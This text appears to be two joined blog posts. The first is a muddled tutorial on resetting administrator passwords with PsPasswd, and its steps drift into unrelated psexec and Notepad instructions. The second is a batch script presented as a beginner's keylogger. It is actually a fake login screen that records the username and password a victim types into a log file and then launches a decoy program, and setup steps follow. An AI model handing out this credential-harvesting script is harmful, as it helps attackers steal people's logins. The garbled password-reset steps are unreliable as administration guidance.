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The Pspasswd  tool, which is part of the Sysinternals PsTools download, can be used to reset the local administrator password across one or more machines locally or remotely. The tool must be run while logged on with an account that has administrative rights on the target computer, for example a domain admin account. You can also specify those credentials via the command-line. Pspasswd uses Windows authentication methods to authenticate to remote systems and does not put passwords in clear text over the network. STEP: 1 Download the Pspassword tools From Here . Extract the RAR file, ant it will create a 'PSTools' folder. Open Run window by Pressing 'Windows key +R'. Type 'notepad' in the run window. watch  the below tutorial. For a single computer: psexec [Ip Address] -u[user] -p[password] -i[command] Screen Shot:   For a multiple computers: psexec [Ip Address1] -u[user] -p[password] -i[command]...

Here is a basic keylogger script for beginners to understand the basics of how keylogging works in notepad. This script should be used for research purposes only.  @echo off  color a title Login   cls  echo Please Enter Email Address And Password  echo.  echo.  cd "C:\Logs"  set /p user=Username: set /p pass=Password:  echo Username="%user%" Password="%pass%" >> Log.txt  start >>Program Here<<  exit 1.) Now paste the above code into Notepad and save it as a Logger.bat file. N'joy 2.) Make a new folder on the desktop and name it Logs (If the folder is not called Logs, then it will not work.  3.) Drag that folder into the C:\ 4.) Test out the Logger.bat!  5.) Alright, now once you test it, you will go back into the Logs folder in the C:\And a .txt file will be in there, [if you make a second entry, the .txt file will overwrite itself.]  N'joy Renjith R